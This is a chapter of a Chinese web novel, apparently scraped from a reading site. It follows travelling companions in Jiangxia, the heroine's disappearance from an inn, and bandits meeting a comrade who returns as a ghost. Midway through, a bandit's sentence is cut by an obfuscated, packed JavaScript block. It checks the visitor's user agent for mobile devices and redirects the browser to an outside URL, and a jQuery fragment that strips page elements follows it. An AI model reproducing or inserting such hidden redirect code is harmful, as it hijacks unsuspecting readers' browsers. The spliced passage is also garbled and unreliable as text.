默认冷灰
24号文字
方正启体

29. 你挑着担我牵马

作者:吾思无邪本书字数:K更新时间:
    庾彦庭听见二人说话声音,不小心路过,被桓错也摸了一下头。


    就是那种仗着身高优势,头顶正上方连拍三下,就差几句经典台词的怜爱似的摸头。


    比如说:“真不错,辛苦了,好孩子。”


    这对于父亲是辅政大臣、姑姑是太后、表哥是天子的颍川庾氏来说,莫过于赤裸裸的挑衅,他不可置信地瞪着桓错,咬牙一个字:“滚。”


    桓错像是听不懂,又拍了拍,三下。


    “你当摸你家的狗呢!”庾彦庭雷霆万钧般地拔刀,竖劈,“看招!”


    怎么会差别这么大?被摸头的另一个完全不是这样的反应。桓错一边思考两种反应背后的原因一边接招庾彦庭的的拳脚功夫,并用眼神暗示:你看看那边那个背影。


    杵得像根钉子似的干巴巴。


    庾彦庭也注意到了。


    很快拳脚相向的两人像是发现了新玩具:有人被摸头就会变矮一下,摸一下,矮一下,没有气得跳脚,话也说不出来,有意思得很。


    桓错又示范了一遍:拍拍她的头三下。


    庾彦庭跟着拍拍三下。


    祝弥快要蹲在地上:“别摸了……”


    桓错用眼神问庾彦庭:这是不开心吗?


    庾彦庭用眼神回:不清楚,但挺好玩的。


    桓错又抬手去拍庾彦庭的,非得摸出个对比。


    于是二人又打起来。


    ……


    如此这般,他们来到了江夏水乡,千湖梦泽。


    寂照似乎来到了熟人之国,夸张到路上时不时遇见行人,还能朝他喊出一声“寂照师父您来了”。于是他们又变成最初那样的走走停停,村村落落都要去探访个遍,一日行不及三十里。


    几人才发现这寂照大师也是会看人脸色行事的——信徒的脸色。


    前段路程走得快是因为他走过几遍,知道没人对“阿弥陀佛”感兴趣,进入了江夏就不一样了,别人不再喊他秃驴,而是学着他合掌,请教他经文,给他展示新立起来的村口小庙宇。


    根本不是因为被迫物理超度灭村老村长而心态受创、老实了,桓错只觉得自己受骗。


    祝弥其实来过这里,大约快两千年后的这里,一如既往的一马平川,连个小山包都没有。庾彦庭就不一样了,没到过这么远的地方,不掩饰地一边走一边对着似有镜碎洒满大地的大大小小湖泊“哇”个不停。


    事到如今,他们每日只能用来行路的时间只有半日。


    另外半日要交给寂照领着庾彦庭去探访江汉平原的挨家挨户,留下另外二人独守“空房”。


    至于为什么是这样两两组合的组队配置,因为那日的摸头纷争之后,从此庾彦庭为表态度,特意亲近寂照,端茶倒水;远离桓错,横眉冷对。


    祝弥也想和他们一起入村玩水摘荷,和形形色色的人结识,眼角拭泪地说一些“阿耶为娶新妇把我赶出家门,我只好游历四方”的博同情讨亲近的假话。可转头一看桓错预感到自己即将被“众叛亲离”的黑脸,想开的口又止住了。


    还是留下陪他吧,谁让她那么会察言观色呢。便随意抽出一把武器找桓先生请教习武心得。


    桓错有些犹豫:“你要练斧吗?”


    祝弥扔掉:“对不起,抽错了。”斧舞起来不好看,不适合她。


    这荆楚之地是湖多泉多,传舍里还有温泉。舞枪弄棒之后一身汗,桓错问祝弥要不要去汤浴,也算此地特色。


    她自然是不去。


    记得她怕水来着,像猫一样。


    夕阳刚褪去,桓错洗浴出来,楼舍里莫名冷清。路过寂照和庾彦庭的房间,一片昏黑。也是,时候还早,他们哪舍得回来。又经过祝弥的房间,有灯,但是很安静。


    也路过。


    走了两步又折返回来。


    “梦成。”敲敲门,随意喊喊。她若是嫌烦地回复几句“别吵没事走开”,那他就走开,若是她也想找点事情消磨时间,那他就拿来几瓶酒和压箱底的陈年笑话旧事,逗逗她笑。


    但没回应。


    也许是睡着了,毕竟今日才比划了两下她就兴致缺缺喊累不玩了。应该不是被鬼上身而被带走了……她又没受伤。


    只是睡得早,别太多心。


    于是他又路过了。


    “——梦成,你明日想不想去看看赤壁,”他又又又折返了,站定在她门前,“当年曹操挥师南下的赤壁之战,如今还可见到一二残迹,泥沙里说不定还有半段箭簇。”


    ……


    没人回应。


    门没落锁,轻轻一推,尽力让语气自然随意,“你猜那上面会不会有鬼——”


    除了烛火微微晃动以示回应,房间内一片寂然,一丝动静都没有。绕过屏风,床榻上的被褥是掀开的痕迹,自是空空如也。


    回望去传舍大门,大门大开,时候尚早,还不到入睡的值宿时候,手下的人各有各的忙活。


    糟了。


    人不见了。


    *


    “星日怎么还不来!”


    “再等等。”


    “还等,都已经等了三个时辰了!莫不是跟着轸水跑了?!”


    “都已经寻了几个月了,还差这三个时辰吗?”


    “我就是觉得只有信不见人,又等了这么久,着实古怪……”


    官道旁边,一处湖江相夹的有林之地,几座荒坟之间,有两个人鬼鬼祟祟蹲在视线隐蔽的地方,前后探望着路两端的尽头,在等人来。


    其中一个打了几个喷嚏,又催促道:“翼火,我们回去吧……这儿凉飕飕的,我怕是要染风寒——”


    “嘘。”被喊做翼火的人忽然压低身形,只看向远处:“你看看那是不是星日?”


    只见树林之外,一片暗湖细细碎碎映着月光,蜿蜒的黄土官道穿过,上面有个人影,正踉踉跄跄地沿官道走来。


    那人努力眯眼,“绝对不是,这人又矮又瘦。星日可是八尺大汉,他就算瘦死也不可能如此——诶拉我做什么!”


    翼火把人拽低,“别被他看见了。”


    被拽低的人嘟囔几句:“多半是个醉鬼,走反了回村的路。哼。”


    二人躲于暗处观察着来人,只见来人一头乱发,看不清什么表情,能隐约听见口中哼哼,虽脚步虚浮,但似乎目的明确,走着走着忽然停住,四处看了看,便朝树林这边二人藏身之处走了过来。


    翼火:“……”


    另一人活动手腕:“哼,夜黑风高的,独身一人还敢来招惹老子。”


    “鬼金,官兵搜索得紧,别多事,一会误了星日的情报。”翼火还是一把按下蠢蠢欲动的鬼金。


    人影果然径直向树林里走来,翼火只好拉着鬼金跟着他的步伐后退。人影又前,直到走到了二人原先蹲守的位置,站定,却开始四处探望。


    二人回望一下身后,再退就要退出林子里了,总觉得背后的远处回荡着人声和马蹄声,凉飕飕的。


    “天堂有路你不走,地狱


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17239179|195123||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    无门你闯来。”鬼金低声咒骂几句脏话,抽出身后的小刀,“还以为你要解手呢,跑来林子里步步紧逼,真当老子忍让你!”说着弓身蓄势的姿态。


    翼火没办法,也抽出了刀。


    二人默契万分,紧盯前方,低着身子沿林边悄然横向拉开距离。


    处于两道视线中心的人影似乎毫无察觉,依旧一脸愁苦地似在找东西,四处望。


    迷茫就是最好的下手时机,分开的两人对望一眼当即发动脚步,疾速以一个包夹之势相冲而来。


    步风传来,人影总算察觉到了杀意,忽然又哭又笑起来。


    翼火和鬼金也终于听清那人嘴里的话。


    “翼火,鬼金……是我呀……我是星日呀。刚刚路上被那太守弄死了,还以为要误事……”


    *


    此地隶属武昌郡,夏口县附近。武昌虽是桓错叔祖父桓仪十多年前在流民帅手里打下来的,可是桓氏人口太少,无人可使,便由王家来安排人就任武昌郡太守。


    桓错思虑着地势和人脉,大概记得多年前派去的人是王洵乐的某个族父,到如今应该也是第二代太守了,那么就是洵乐的族兄族弟……兄弟几个、名字为何、可否到过山阴相见,一应不相知也不记得……啧,都怪这荆楚蛮夷之地太过偏僻,他完全不认识人。


    这附近虽村庄密集,但夜宿的传舍前不着村后不着店,处于官道之上、夏口县数个村落之间。人往哪个方向走都有可能。


    不作多想,桓错分派羽林郎们四散去找人,他自己则去官衙,找县令。一进那县府,却一派冷清,连个值守的人都找不到。便去问最近的人家,连走好几处房屋,皆门窗紧闭无人应门,最后一处,走出来一个怯生生的年轻小子,恭恭敬敬只道:“近日王太守为擒拿流寇,夙夜在公,巡于此地。至于陆县令,躬身于洪涝的灾后重建,已住在村里多日。”


    夏口不是武昌的郡治,可太守却出现在了这里。


    桓错追问他太守的为人品性和此时位置,还有擒拿流寇是多大的阵仗,如何能联系。小子只低头摇头,只言不知,便匆匆闭了门,赶客了。


    坏了。


    他一个最有用的人跑向了最没用的方向。


    二话不说,率马又朝官道上走去。笔直一条道路上跑了不知多久,桓错越思索越心惊,停下马来,觉得该仔仔细细复盘和祝弥分开之后的时间差。可又心乱如麻,脑内乱作一团,一时间竟回想不起自己究竟泡浴了多久,是否有睡着。


    马厩里马匹未少,想必她是步行,不会走得多远,可各个方向都有人寻去,这么久了也不见空中有射火箭的信号。虽然黑夜视物不清,但还是能判断出这城外一片荒无人烟,空气中一直隐隐有水草腥臭,不知道发生了什么,灾情?能有多严重?


    在人人都有事做忙得不见踪影的时候,他桓错,竟然在原地打转,不知道该怎么办了。


    糟了,糟了糟了糟了,糟了。


    怎么还有恶寒袭来——


    正当他扶额愣怔,努力平息自己身体异样的时候,某处林间方向“咻”地一声,下一秒,夜空中高高划亮一道火光。


    是信号。


    找到人了。


    桓错的心松下来。


    “咻咻咻——”


    同一个方向,一瞬间箭声无数,又下一秒,数十道火光照亮了半天天空。


    “啧。”


    桓错沉下脸,腰身挺直,一手甩缰绳,另一手抚上腰后的刀,马蹄声哒哒响起。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)